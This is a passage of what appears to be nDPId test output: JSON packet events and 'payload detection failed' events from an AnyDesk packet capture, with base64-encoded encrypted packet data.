bTIGuYLXn6eV4yLaoFLqPaMeEWc7d\/qO5kML4tw9mIlaGAtrMl9QTSaea50GJ81vgEpzF3GFr9djqQVfzunVAODR2+tGOZgv0qUiYlvY2I3Q9ZOI2KJ4w4nFfFTWK2LTxr52lq4pYFb7q9eI9tf5aWz3\/wy6TaML+RCoSsDiUIO2aLAcGxhJUH8DTecqmiM\/iza\/nvKAsqW2nyfCKYPqNSiaRfqFGQcof17Y4ls1grxwYFMJHjtutUuOXFqyNnSUG4xSrqd64zelB7gbiA\/w78OPUfwpq5SyVRB9W3ZDpzRaAcMmLB15pVazOzAaZxEt7ZIYgBt5LyqKFhCYqFYvikrKKDXFV45gqb3RX4HJM1QCkjeoLzZBXngWYBEuewLMQ1ZoP28vMSbRRyfMDzwCGeQvS\/fQfVXzfeW09FyiBY0zKNg0L9mXED6k2CqCv+Tx\/AASL2Bo92ctSJRHBrr280iybEoAWhwwui3J5xfUBAsz9uEcf1nbgjr07jH3fz9xuzYzdz0GE3hCLdY3H7n1+JiMoYwfNlidw3au6Pc+GqXtziC5WP4H7LlNfF5mJMNFgD98YrNizavXUl0j6iV8wDclLjnGOv7X88rmAVVM+uPDtx\/i3Uhnljhlpi1paq\/mQwBboyKxthjyV4jlg3FkJ4eVbjeIv5CZsS9EjhGTC8iVLaDOBGTXZwVUH6Ch9i92nx+B\/OzPxLOJVbExzWMTdOVd8VtOCWCykyQYr6mCwETF88P5DHqJhwFSuvucTZWkqAP6ZLQtlpBNRo7+7VP9Esme2+SMGcNJIEhRdG0WKMGmn8DCWpz\/07krJkcUCjABo4DmgdCZqnig6SIm\/TsDdSLVG\/edpujTvnqAkSkX3HGecp4M+kSZ3r1PgFSIg8EZUmyCaLfDX4XIOzpjb7J2dsJ6uAxpc8mCeWZHdHzirB+658dijy0gjMHCmbzzGcEofCKTGbwRhiX\/vm4H3kZisZH0OqZYytLqD4F79PgeRC6nLNkzu29c+rPo4ZoQfd5pnLB0EY4e7wos+ableXvY4mCOtxYhEHmlvGVL4I+\/l\/yha17KOIlsXiBkaLO5pgD5ryHGSm2Ji+femUYNCqNtOjpLARqWjFqd0cz\/xJcVRLSXZ6IMQFdvYxBpApx7skrVbqzMdSNTsI96b+fknOF\/VltTj+ZVsOGtGfMcjHc55ckabGyF00sMBiMQ48toXSxYYB5e1WWGkUXhYot8h2QS00sFwamAAsDpkXw2AZKg0+I\/CxoOIjANqD1qEYKdpsMKgRRI0W8CVCICLcTfAQd8nufqNL\/+upKYblKI\/99MMKKckjOOQ0Y+GXumXi2w3rfww6X3aQa7O6F0WL+daC2QWyvfCOD1bJDK+tx8bB4T8GERX0BzFoFy+4Q6fpDIWRqQdlB3X6jND29pQ55tehRjIBY47pQheLbl8dMDbD4m9cHGTahXt84yH9DBJVQJqi1f\/bKe\/4lJfzeQjvgBJ8MV3SCD+DzZoRUGoMWVSAbX\/rPLOt8js3+gutZA6M92I7Hjo+wotfqYWt2sBZOJJkz212wKNViynxBaOVwT1NaSM8rWwC9DyCscKXaiFUipJb6wac3srATMeKBisb+SxpftZj6E8ZnDQdiB+N7aQOxj+G1GKolfmf7In8MxFlYAS1HG\/i99EbkyFCILJ0gvz\/NxYVIe3Wao\/5e6B4p3rfmKwCUSl6hZbFiKoIzlFwuFseO+uXvcLQCt51b1EpEi4z9hNqs\/FX12ptYuoSlqyLOHvzlyt8750RVVM+oEPn5mdkdLtuYz1hHprPYiy0MYY48TMWKEIEHkGQDcyboLmsb8mccn\/0yuFxg1O2vz1YyCRLDRusfWgEfN2GSyf9ol2Nk+hw0V0zeLTT\/kJWYZimNtTznysC8lH1P6Qje8Wu9fGbHfJB2SCp1bGltRSdAdJHZf2cmR7pdGz94Hr1fCwfXBapZqjBjpKGFVpmlq+edhv9Ci+FkIO3nBGoQlTLdZzk1rIEjiaDU08tXe7i56FXt0WtEbIGm32ksh3SiiFdOQZ1xJFJjAgrXRlqIGfBmBVas0ulBIt8BhBawerKIhVIloi1s5sMFrmlRRMduemghZpKK09cYpnjfP5KxymZLtzY3PP6rJe763FWVIxTSo1FdEJF4+S0nK+PyeL13GJ0D\/t8I6Etz4pTVYqks5KkODzXPxJN8W0NQX1Ki\/EYQRnMIMnxR3Fa4PeZTIYQTUfbs2uALPzd3alF7b5dsJhxpIYgCc6TcAF3VmJIinZiCcagvYvsOYr5oS+HzrevmaKvS+JSG+1FLBpQl0AvDnqfue0XEqC\/mC8bncNurnDqMPqGkFsYXuzD8bvU9Vik6k2aJZqGty21z3J3J+1zdIqFsh9FZirmvq\/FQRA4NwduEwsQTPmd8SiRWmV\/ls+gFcCrtbbmCWz4bt1MDay9dpU2q7IImWZ2ugr02qO51QlIZsnmT6t86Ef7i786S9\/RP9jNcOeOF9uZlR0Pzu6XlEZM+Tg0\/D0j7fllZc\/jOoUfOuUD3AnVEoH3jl1GfbeszvoNBTigenO4VKQpJwO0svtkPB0aBIHR+UhyEmm6OuB0sDmN08syv8Q7p5y70cqbneQlb6sWkAmbGqF0wwu0RkLpeZQk3bmxBziBnNxgxYr1x43tBJvc\/C3THJ\/NxYB9YuxBJ6KbZdktR\/aTW9hnqjuSvWcQqfbUO8SQWQNMylHmH4icV7j+LhOa1bw54yZ3IRL5LJZQ1+rsij1WlCBMAzcu0DPTcZXoekl02GifTYLDJaZ0yRIaWczTFHaBeDkM7C3k8ggkBOpa7PB6hP4Y9GFa7Nbylp668As1dVh3o9rZ3IhKGSkzmpTCUh70g8wQd3x0mKxQLsKaj\/F1EuqLtSCy3xTJnj9PNMpYoM++k6vTT6vlH65MLBvQ0oI9S972FY7SdrNH2jQCb\/UJZf3bY3nuGj\/w8bTnQ\/FBCsUIJUc+wCYmj7+rpXHj2KbIqT7A2C9J1k3ZrB2nAf8lP6p\/04L+fmsxX4ycTnML0xzgcWU5SVadr9Byu2GgBgiunLoUuzOuCiXfnEQ\/+qJaDLVis7ectwLzW1zx7TalwqLMKA="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1474,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4993} +07824{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1475,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":389226,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf7FAAIAGAADAqAG7wKgBstOUG56PJ\/vGWcQ1bVAYIBOExAAAFwMDFXlZ4hNO+msWKAIpfQ50AtxFq8bnpNUsL4y\/tJts0jtzfXxiOgSTZoPg3pVLyUlzTMTWshg\/ixHoX6FmbFMLb9B\/WbcICxcpp2s6HdIgcQTwHvRm66otZ3Pu5dK\/bIbyTSdKQ06bdz\/AL\/X0A69QTHhOSs8YXi+koVusPh+jS8HkdPI1ByXNfdz7UiYuBHdmNWLjIQF2DV5oZVZ9VSSrKJxASPcnx48rMsk77mfUCzo4haqAEXev5sFwBGy90s\/GNFdK4RWlAjz7Q9kbG06bKsQNc3KQ9LLN66lksQuPdHM7NNeuL+5uT8fRtt5+Juu+SFiGZcOOy43b8rIFSxz+ywgGiMZRiCD96\/z5Sw8IpVUzvwrBcaEat28N0WDJxZlOFV2NuiRA1YOHNGMuR0BEOCAgglJ8cDkndQzQYJgkGaRga60tMYNZN+lKAev4BNxi9jY49r+MXhlFpuf6lRE7B28LhVxfJK40bSNiQz5MeR5pRETeOzlHTIk6gPNxsYSIaSa1\/baYDZ7FqcSJ4B\/gZbGyx0PlpiI8a0cypiqdke6Lhti1S7amI8dxleqnMKkFjwuN4PfuzvXz5Lzj30b8vlWxuLCg+Gy+djx+DFre1yLRIAQvGeipPrbasR7Bk1c51KPUkVf0Idjz6hJbFgSC1ZXivwsysODCnOns1QaVdv5AHjcmZGBSihL\/Iiu9Rgo85FPMlosbVt\/vmW+5YFBWlkvp\/1q7IGNirb2hyxOHipCmr8mbS5hm74SXMi+wOapHGmWAC80gUfhzA7l0C+04qjS9f3BhmH07WO2\/VnhDGQbYZJZfOsFi2pfM6\/GnKL+QBBqo8m+ygVuXupW7B3o+gRVJEDw7L+2uiTNoUtBf1xdHS+qIzcBoUvx3XxxEg6Qpp6hoXUJAzHfSwut6Wyr3OFfcrderJjcKacXgsQZzpP5pQHQXGYVC+MB3+HJ+6K+AsLnIuZWvyPDUwOHEZ6wff4N\/fSQnfki2TqKl9nQG2qJiezmR1cEuJwK3\/XPWDvy3VlG0DR0wnTILXD5JPJEAzL4bLjlL5SZ1VdKo3NZaEvFQ75gNsty3tJBpntcyRD3+UQUL\/v9Y199Dl6Klg8OWzc8uJ8dWfuevLlhub9IRCvPf4kz5A0mx0zm+ePD2O9bfeiaA3juCc\/iaX6ssfK5MYJZazvAU8GJQ217fvl95OEPY64nCQX1AU18r\/TNiexiKWtXeVCU2sgWiCywCuDgjHxEfYcrqL8CyvaYMvQic7g5eeUCATY34ySxygQSZFKiOHITUM5aq6ddQ2ny8eBulofEAiPjCaYrhRHo\/q0kxaFqljwUqtn4x68xRmrUztJTtIBLtROXsxtWtfeQvacd2jopeQ04WA8mDVL8m1DwNoi\/h0Eq\/og5oue\/H81+yPkEbEFcz7DEFDLg4rqvKPuZaS5NvlNyL0XVQ+2zBZUBTZ5eXEQpEC6KL345XP6UHsZsUcJPFj6TcmP7y5S\/ZNiQ3OqJPxn4KzvnEzhsEr8PXiPA30C18BGdbJ9bIp3f3ugwT8dw5WolbGbMqtN6MSGizzp0xNzPXRhnKtf6V1MxNFh1\/SaRmYrvBfXHda95EL5oQQL04B8uYTXwuY3mgxklR2Uz2GryCDVqgMjfJf6zCUY6Bps\/W4qWwtbZX6xoT25nZ2b7O1q0NpZH3SwMAONMPFiPzaUZgi0sF7VRzDuLO\/47A0UvZtSb8xjceg+ZO2KLaYJx1KzCenVIeTddbDJ3FuLDwmEKEpwOjRQUhuRRe0ewSHyu+Kve87W9K+J+Pu1uyX8LEsr66wA4IOE8ZQ\/7Gd9\/lOotc6vHZDeitW56LD0Ms1xoZjxHGchy6BQ8cay+tBldzw9jvYdrwKvljw3wKx\/npxEHyZ0A1zKadUACVfDNeJqcNFvKNIb8O9dZyHquV\/9udjBCQFwiSwo65pTj3u6PExv5WaP6bub5u8QCx\/\/le\/abaJs3d47Vb1O0DzEuG\/THtjn6Tk57MLnNRk4U7XmKhTQ5qnFI4S5KajnvwpXlrGgTA7J3NduR4Ay+9kpWK2R\/UxrZbxQs0rwjB7XOs2jfFgG2e6Y5QMxJ6yhhOuosO6jxzIWLJ44qivFbN2n4qI0betD7z\/ojPmIDas9MrOcrIW9NulLbFHhwPyBpRyJBCmMkXuvaE6EYzjVMg7ZOGbmCdPn85YoobJ\/Ihcu3BXbYwcjv4CoulIMhGInTso2+HCNaHoblIZus0peGY5qbKd0EtEIqNyIFqw0tnyuzNFhhw0BBcNwFL9y\/16TqgbrxyKih\/DUlYtbs2+WfuIZkUjwIvGfRDsRLFZM0evI6ShZE2ZTTtJfxSIC90+qhP7GzE+3oCFVJACf3v3gRbZE9esM7sEDvHyQMNZLQe8tmfNpA+bpKoSh8iWAcUAuFwAaY98c+fYSgt32ImZhtp18Op5dhXsWcMKJEmn3XptYGGenbP59blH3bg8yDiYkkWGboCSat6noPRSpnkY063m3JXK1rbi9BpQbIi7v83ZMd4zmV0TON6949lkxIAEyqgn9R8rGFu1GaJ+keIAvEn4fT7KZmddfhHCJLJnQEDjc2cQxI7uRfGaS1vtOIXEQGtyuoZbNRD49JUB2qHvW3wVcd9fdMGmsfBP74mqVkM5SB4TXAOuJ7xBPlYkbjfPyGdtd6NgVcYlw1jY+7u5VkURUU8A2PlWx1iI9zha9fUjQN6GcisGIEWa5x\/dtTjv0weAYFJMVQ70Z06cWCvE3WpSf8RS9DDYdE4odUeu4JdYVrJmVv7wRC8fUp+IH\/yhIR9GoAA3zIyjKbXgEkl+1a8ONdvvGW6M8ymIxjOukHTmehH1CFKJkkFpGGxW2J7hzlVTstC\/Rfjaq1\/zbL3D6tw9uS1Rx0nXsB3RSSlzWvnWF73oWg5qS+JbQ7eMwQaXp7Q6l6XUdLn7Z5L7x1uXWhIjg6QZsToeppA9Wnoipzo8X8kNjaLuYJwEaCiDiktKhCE9at+KeOLqSRsz8wutzL2nHYjFydIeygyNULzFhCRiE6\/B67wAJ\/ucq0OaN08klKAxEgCY\/i6R0eT+e1Ym0uPwdLblsD\/vQJXAK\/qTCrRn6+H9VxpHsHCuBD6wvZROkUG\/wfQ7IJK5kntIJT5AY0cyy58htoemSoDFIm4hJksQ2zS381f0IY9HSuM8S3mDwouzN7Ec3GWF4cSO9IQJhGQBZjYT48zj\/pwSBLF+37u\/ec9bhpo4sI6Xj9g2CqRRB86kT2uqPQCX7jfGnyiSs63mTq\/MTsZnjvz345IU\/xscSAwcWVZFr5\/Ze\/zBEdEomRWCaHAfsRaQoLOuwDI4zyJ0EXaDdgYceAsOkbRHn\/mcPDUTaiPUDwW4axXJRaeXiazYseqAch4nTXg67qBjTsBz7FqvmUFa4KYX2Pc5U3Egfy9b0SVb+PtZfG2BqNZCue1B+oyk+EL+ef0BU+GWeWPAOQp5Tnu5JLtKp2d19HoBFisxhOrKeVv3pivVz0NXhuJ1MgqYDp0ut0EHnuIEnbQDps79bEu0tCszCOSOYjTycEOdYexctky7wJKA75uxTr1XFMdgdLWCXuF2owcW5SBIERwsqO3KMq2mKIZDEKbgPoL31Pi7YPIyhvLYXUeCe+Wah\/N\/b\/qZ0WLQ44qIu60ivQQktjgvgW3+g0YJKXadkTCpMtCKJhkHzFQx7WShrVmmMCxysl73MoLvlhgU1jMRQrdZVe26VW2g6HRMkfZ0Ade5V5yEfOV\/LrcinZLgR1yQ\/jdVPKH67D6GaqhBoKeTCdmCtz24kJvssDVpAVBKcacnbuv2LSTBn3E8bJ48d\/dqC2g7Dtq24tTr79WTXdC\/0lOh3hct\/kSz5SgteWZIVbNNTOzsyXcJx4cz07m6VdixqcPLXP0KOAe28Vi3YT0DDpOuKmscP90pSZwRIG+3GJTJWxk341VL3GfUxj5lrAydDQ7faP2zn8hvK3xAwpAFkHXgF3L5hMzG0YTWQSLBhEI9AEdvme88aIyik3MlxGNeAx7U3g7izf32GHOBfm4MkVhKxxWj7+\/Mb8Vjusl9pnnZZR5CDiRzm1Bz+XTMEWBxf3hroharlMNd9UC8rDfwqzNYFpZeo\/hExCyeN4AW60CEpAh4QeDNslCfJpqlPcTlxPrJ\/fvSFPK1f8iHeelxiN4Ixtx1ZfGqeraMjEO9tf1wZdzHdNbTNHIR3YVtb9JuaLH\/aObx+gXn5xE4pLWZ2OuHDX7Ad8FB6SpgjR+yA0p+q3+rykZSnRVyoHHCU5ZV8qq5bh+cx785Q0DDg2ItTvidaPCMp3aS2QwadWhdQrG1wlXh3QU6Bk1fh90uytXSv2+gZelYu221aSTpE9ICCE\/iOwkzR1V+9VVztszWI4YDRbghGqH5aMh\/F6qqjC\/nWxMV0xTlpwfK0ltu2Hj3Yv+84w9dJleEa3hok6i7PyrPBFulsog9ivwgJ7DtEVlQSjiEZSXtiHQIiKsbp5eELS7D6UFivCE4mbz1o8EujWwuIMzaZS2cvsk5l1RBHU6Ke9WBEp1kkBvkvC1ziK4Jmh4vdnaFKm3LQvNH\/SNu2VkflGmZ0MmUP0WYZin6I6HEdaiN\/XikwgBKJAIXT\/Nfbog83DicOn\/nF\/JOe7+93aTr9M+gqhYjHtfz7CTM6Hi+tC3VNrbQYsIbHrH5mrx3+3U8rNZDykfWn8M+kbDJrsp8apYfqXDZodFScDUQ4L9PT30SLceEnH0bZK5gLTXbpvPj5fPmLCmidZwpGwjgkz8o7N1IvSo7OGHWkHOIMvPGGP0K6GRCmVYpWaXsYAT1AMmWcu\/R86TrwMQ0TlwV9iZJZlWkA1A1TbasbTB8Xu9FuKR1bfRO1Z4PZEQ3S6p9E\/6IoNkLxJC\/KqkDnJu3dttkTmKAF5V8udWjmfXitcLSOL+fqeOGsL5MS3HXfNUrXI15ypC2S5+HcDCnKMTak11AEng0nsKXOemGKZ9EAyLwqlJl8l9T36Ack46X3Vz+U8ELMshFE\/SeeqPFnf5ewTC+XDN+M6pB1e+2q64hYYnd8GBTX3wVJnjSMJfGP04WEk0ekyxYtMJWCzko5r0pDqH8vort+TF8NCYkiJvnEd7zWK0CZ979V3zbR2v7Jx0WKdklRQJxms8SpTkZlJvV7AiiGgbgzDLWRbHqF6bBM30lLlIom3zmQ4vfbcbjSklu\/103W8sbmLQ7ZqpHMFcvfd0sJAZ8\/aaD8D+ABY\/4+GB4H2DLvUa\/3iEBoDqW3bsucyLIdWv6OoURvdE4fmhLhw8SyctbKFUy1ArL6eaJ22b1p53kROLOMSseZsX3FqbUTfRwG2T9l110MSfEoAV0X49\/ZSPecrJtsO7MrNIF6+GIKRPQ9GSmBL5qlp\/GpJGIXyFJRNmCgitVvRDrnN9pRAVlvCp0tRjv9LhF7smvx0PzaCexu03P4k5nsvbIt\/hpAWOQhCllYifDkQkFxYrOWJphaVedzpZcldooZ72pjk0XbcHiNRGPFsWLEyqi0ICD6L8yb\/bLlQdAGyk2l\/w7bpA5hhzTZ7da9vA5\/QmTEyDyuChE9f+Bxj\/wZHZY6GvkRqSjosWKCpMoLcekoUaNdACTj8BzvTMSyIdwDKziLd8V0HlKLcIdHEHnyuNU65FEAYTWnOCoVBbFynf8U2K2vMb65xzTjafrCDv\/B4swVsei5oCPqRZoXuzZCTHVj2st59u78dZ0ijaDQ8t+U6scEBlODbULE9oRYjeyTy12t00vbp78gecVZiKGbmOUejQ866ZJqdHC0HYitUtdBvHS2bCLYWSvtyeevNYfTwfnkxSlAX9jCEbnASli7L5nUYJ29hKAAxVIGUBj94lMthgXWMA7lNrx3fBsw9MDQGmofSzp+NLg302A5gXzUAdvR1VqDDp8wDG+bzlVsRurU1GgHxMXLXFrUWJJoGChC5hvH2KAraqBS4E4dIRQvlC2TfCViwiibWMsDhF+dfJjlNOtzNBAxO3eqU1bsjSKYuiNCx1Zr4NS0DghlGXrqQKjoljnuZBa59BvYauL7X4FY+OrpDwBVZ9lqrUae3gtBmAPYRWISglLzbqTcqQCIcvT8uAkxoAkQFCmpEl37ilzJBrCMLAFvFUPqedcA0sFP1MrZFCAL+I+XR5LYnQxcHoa7bAq8TPv1ahyBx8YiOn\/hrXo0DBZdM10xF7goVB2hSdNl7DuP0EW6Vn5WUaJDgGRHiotKYZ0VocQelf5SiSMfNgwjmr2K8aDtKcxGfw4xTWjqZjZO2u+ZnOlvqU+8XTvsXvRAfobL2hNgmOD5SX0cpHiUTkQJAfOL\/jklnZPXZBaCFQvzKi\/t2pRyLQ2EGH9wG2leXi8eLZgjHN23fsQCYuhUK4ScYnvLu9sFA4OulWrDcA6lcXfK+zR31CWdCy5zXqXnV7RZkJXFnLWufW\/PHD14XNGV5Vi8kVYYGPbqyYPPMPwvFMcgAE\/b7XiBueoGXarO8QThJLthENkiySHynEJF5NGAGjusOgwEizQCJtUsDNVqR2rANXycmdvL7J+kUWnHDMUCDwD+b6D8dimedmCt\/STmAu3KL8JZkPrI4g6O8Z6ze+ROyMZ1OxR4B5JFJb+yGCuKixocDpPFnZCsRgBGIScXhV2kyeBZxBB46B9q0Gh3+Mqj9\/d7hE5pk1GmNf+xqPU8kfjAqmNhmZ5cqy85Ly+Kp\/X2tYOWst\/OpQWLihVbhNLPJOKGlgbSbLa+e7jBFRpNC+pV2OuxhW3C9SVaM+dIGZTLQ3f3LGJW1L2fjwY7MBgU47d6m2fygckGTw4H+w9DtgTzjq4aCNt7Qb7HWMCqSBatneXEO2PdLfGg4+6BeJP\/4KHTZfPMPRKdSauJadc4aNo58Y+YKXjyfuGkqbKldVW\/f8Vz9TXbcAkss+LOhAPF\/gVwiFUabxbMIpJzWtbCESznhxe2qvzuQ7fNBUGI7eX6fuHoRuNptWmd3MtEbXXrnfQi7yHZ8i76N0pNWl4u2BwV9Oz5Mb2i9doyUFUVxLssDz+gsOip7SeZY3fg6i9i7ndXAvnV7PbKfQfhMNUJOAVIocU4TQlhvJFUm43F\/sagKVrQgrig3wShjSTdlwjTH7qA5CQBtSjKWvEHYjoaGJbqSDPcxKHT6lhL+CWN\/YIUjE2QfWpuDXPJIJ\/135aPbXh6OUsyWvjI0MVut5+lSdyMoII4UphvPb9uExHLhLfczNrMdvg7neDfwHc2qmU6ICnW9BpxNae0\/BvnOqjDlCs3vyjas0U0Yssxw3cYbAqPy4YOi0opBpsIZPESyGATJeIUtqe6c8L5wjscAnxRSS2dCKdBqjhbOgOfNhjRGBiUBV7kpMMVg5"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1475,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +05080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1478,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":391486,"pkt_caplen":3523,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3523,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf7VAAIAGAADAqAG7wKgBstOUG56PKBFEWcQ1nFAYIBOExAAAFwMDDYhZ4hNO+msWKfOQF8Z4yXlFynQHMLa9RPeZqgOLDjVGF2FcKFlunRCkYU2Aed22ChbLVffUnIunBu1B63n5z6i2ZmNovmaKMxtzEMyEUh2GIB+Y2oFEAhOm5Np33qic3dnsyYpoGV3EvjxDrA9BzVgoPgkiha639+ymSbH2yC9L5bQo2S9EHBl6rAaMhQeKIFXED1G3d10dt6tktmF+s4AtVGsWe3tSJxcO0BJkNWvoap58fa7nOinnJyVr9WwyIJ6QwWGZsgxTBp3k1tTPN83mwIypCP4OfmisJiZphRNbE3BddVw\/o4jB6+n8zM8JTIin+j5XNnB9GqmSoVYrEvj5ree3g1YYnKQlp3hPqRdLZZhb54oGcEB8bUGvxDQmj3JWxPPD4anMYuRLDmVUIzTYzAO\/0nFA9LHgexprQRym91DpDizQ90KwitcKzLwFmWO0jvNY9NdjMxf2iKuyHa7T3EWTNg+4lpDsZUQaCIP+A7Qfv60UY6SrZXHWUhr5l1Zoyd6Nun0dkglu0sjbmgNrYqMvHCqXAIULP73SjUAaHhGIBfzaBcTllDfYbfS+gJmX24lxapZKVsyS4L3UOyMiyf6uONNwFBDnXPS6Ri+zvl0oQRrUagUQuYOezMlu81bDqwWCQa9KXXDi+wFyjTfgxVdyHfwm3V8ngGFHu4GD8I0ZtWQP1nIuCFFxqts91RyGPgWgQ0QHVQdAE5ttEQW+39fjiu4YFPu7wsG9EWN+zTKEPkGY78t8dpy3E2f0zqDjmg9qaviqw5vI6yqMDw2sUmLzMZnx8T75N5b69ukNsgNGirA3unVAKStll6yS+5rQo+9akUsGrwniX5zddxJnq\/qK31nD80xCTmb27Ij63Qw71HQFycq5WS2adUJxEd54EG0\/exE\/ItpKnk17a00k1W1mHMQPgdsuITkt\/JVouEnMLthqBqd9MXaNz\/c9+k0Y8dFMTmVAP9AyI4rQkZPs8q6GovewdA\/V7CHpdxr6LheoPZBIAF69hv5t2slBNVu8T6roqYILn290O+EsQs2cti6L8j6i0ys43E9KWH0wIBDRZgoW9bk8IsnwOhDZtnXHppMQGPwYyR+ZJZqWKpGpZyxj+jBp82hFQ2uEJYnqTBrrFKxRdkNc0WJB582VD2K0mfyPhV0DBJqcq4Z3kLLN8NpsbHxDU\/NpbbPjn\/v27SgwawOaysAiiYBo04fSFdIALNGLDhtbKPBqF0u1LKlDeXtOcYzVRC2chA\/okG2RUfDYlwnOtqbBPIy4eC1x3AGed2ggicd0O80gZwQv+sYCnD1MBmQBZimdh58UjvjLsYARK0q3Iq7B\/9BT6kSHMguYHzmAr\/VaaGDMolJNW5n4\/7sX6BxDXLep4S0rcfB\/v0\/q8HBySm8psufOXzU3rhs5HjsPt2WZ98G5XUxe6BYux2inXxA9fidP1qpDNn+z2W6UDFSYN0OgLLLsNst7GGurbaxHPlpBv8IrrTmK9N9NGWIrN4UFM8+k1K9lY94ERmt3Sx00+fuXSjJOVA9IEM+p\/7cN5MYp93h35bKCLsspQxmatJgMXijm6u09l1hnjCZLg7iQ05EaWOzGrI0xFGpu0NNl3k3Fth55bfiDvMyZjP02HZfo+Fl7r3XUFi\/z7ZpKLsU\/67b0pl\/4B4TUCYkQI1w\/B\/K\/ZzQ74ou0w4Mr8+FScK4Go8E+UHxlVIG+pYJgpwm5j6HArMpXn7zvopiBn7sLmuT+a37t7MJMfuoxgfcibKf6xNWN2FDkljwt9CVsispD4mDMOqzzNirIRwmb\/t2NHohTc7Ycsn+s7OMqpm\/aGZ3e4nInmhE8d2G1isWVLiVCXttRE7fv1TETDHk3w2WTaTA7DLHi\/VZ4HKh4EozZhmFrGu0WytwcEd5J7lYXWN73wDbUzWppIoaj4eJthXoDCtgsVo01\/9\/9sAKyJYM99NaOUk3D1iuNiZ0vOiu4N1jhIYkl8UOUcPM2h2fjvscoUPzsCSrBSgI6GvmIvZ+cvMMw8RxMtazdr+2Lp1omowJbRluF52V7YrwH73tJAPjrnxWdEVySu6eYN5ph2u1evrsfxqH6dijo8lRYfFrBEgnKbQ7hf7ADQTR5gkCnH95Ij0IL14msAI3smZ2wMV4IbtNSR9odaihBWDJhpiXCykKtfexuzDK9nhWtwE6Qf4FMy10QA4XVPYpeNgSNsO7Uw9cLsOq\/8crdVaV9CGRny+HpEhFsmTX\/5EpyeMPgZDUDcOuUMvdujahSwwpvPUPTAZEWWuYZlG1rdos7zBXOZOauvUhm\/biI8MaE48j5NVfWwxbS6XxX46lTAr4Wz4n5CRgNt\/dNV3P8XMR+ZaOTiIwokh9wvEM\/Fi\/U9x5BnP6USJ8eD+pznpbBwt2\/mslr+TyC6Ddzb8FLEG147Hwnu446GIQOx0E3Tor4v7dIiyr3sWXj3Q8eh6bQlkWqwAH\/aeyVGqeEx9c\/z1sQ7SHvnJMlqzfyd5J7n40YnmRmeWTB0GSgV9WSzDjdUWz1yE+y59zjxr6TqURbIPV4NHvaT49i9YuP3xdifrIc2qH5\/AaynhgaSp\/P14yqiQSLZahKq7id+kyq2nyzlph9yD3Z+K\/gCcmsIQ4LRihNLQVpJFsvcgY7kIjs6aOqpXxNOCzBD1xSWVXPQe1cHdu8StLp9KtFgL+6dYb7jm\/mB53ojIRgilncsnWTR4Fv0WqJmYyAMcR8LvoaUkCRLqlrnIa2iTK11VxXxqUTh0NNQQE0lI\/VGmQRh+VNS8oKeMji9ylMOjl1I+1Dnua62\/LyT\/DcVQoybSMxR8Vw8dDek7VuroVUg\/7tCCdMy\/sbqqYc5cpbQQyzZHvhAUknFVAFd1aqwZyagWRrxlrJl2zDIJ6GtxTxxIbBlUIkbz4TFKtLnGPIA1rBLo\/PmID++GoKkBbT91yd5g3k6LN0RRLwk1caZaypK+1mQBsUYSMb2yLiHhZ71F3m8+ZGykFAIQcEo9LZKwLXhxd41D+bx0cOPod6BtA2RDkSCi\/iH9yKXCSvP8oXNHqKja1lr2qF0FCLlBwP3oqeWt6mM4xTEoRjaNgKQ+RNi5rnUcs5fmRoLPIRkLZEo\/nzHmXYbdAPGZgIwad4Ysera8F1MmXmt8UXZvIQmIUtft5AUwppdtzhXHvqJRsM\/m8OJUE6Wpl6tge17H4wEGvGWM1U28lhgpmlNZ43nkTIoLAOls6ofioDghYL89JaWPehVIW+9HlXzJ8abZdjLp9Y6X2LBdzfanxCxiM6Wmw8N7oKYq\/IncrERWuJWo1vxV2hcIYWQblZKqX+xGPd+78Gu9bdHPh0IVP6Xi0T9Okv7ygLkN\/6+UM\/1Gzim+eIXpfJJvM5hsR35tmM2IO2LJSYXtLeOOL6iGILdOa\/\/HPvcE1ncRV3D93hA9qw7sjCGjJDsQs23Z9Lm8mnfc4ln1Pqo7a97jHiRjBnTR8jPlmOGsDNZsrP\/G\/ECIAwGDd6ZW8\/TMP3JqsYEKBgweAWemeQqzivFaOa6j+2t9LrGACXU7iKUhr6n6mervGLciQ030qYxjJOXyB5Hc4YH52L7C+xVsvTwi3kamPxZMcZmDxABpLGfPAclSZQ5PS48gKDVg63T0JlolQ6R62XkiWPYu1TUwZM5qI86Hpc34r3uJN5ytBLfyhP8oJ4ZP\/RNn6NAva7Bpp3V\/UJiFuFYs4Pi1aDaxqxpl7cOFVRcDRj1VhqThH5hKb7NNcqjuda3wlC\/e8bdISVUxvXdgaG62ld5pf1D7WhwUW\/8ur+kshEFvgUH4EiOCr2DOEhF7uXmOfKli2Y7cz1OdibsROjXmL1wWaoCROG1B\/Bp93bmiSKw4sLMvuT8BESeo\/qqz5430ZfRnYr04C35A3H8rDA7tgF+oqNOZf+pyZcxQdysAmQlFjGjEfOiRjOZqDYXmzX4R+GDW7wZbimUHqoSzw56sNT8sAXZL1IfLh022Wa809DvSUEQIjk+CiD3iUEeP1W1kEcMRFBioLZf5Nm82uPWm7SdHEtNRe6AlWt3kkP5FP+T3rXOWu3cK2X1uNTiXbetUZTND1fcRWvzkNaOZCVei7IE+\/HFgOEEJS27n\/3yo8Y7ze3IO4vXVMuENEU4u1lFywOHaC+e6yicAbr\/eX6uvkh9fMfj2hqzS9\/Hx16\/gHXVaCQDjKfn+R9cfro0R21rpZm+YXE7aTYHJLnQlMfLIOyViRS1INKu0ieD26R5mEiB4OPnrUMY4BBXlo4OEPq\/l5Bn3z7277rTLusozt03IxN9Y8OzGQWuAo\/VpeMewQnup4Ci0JzU1yUMbfd7K0qiuEATZoSSc\/9Z97Yuix7n1IPAqgi4DSMCmi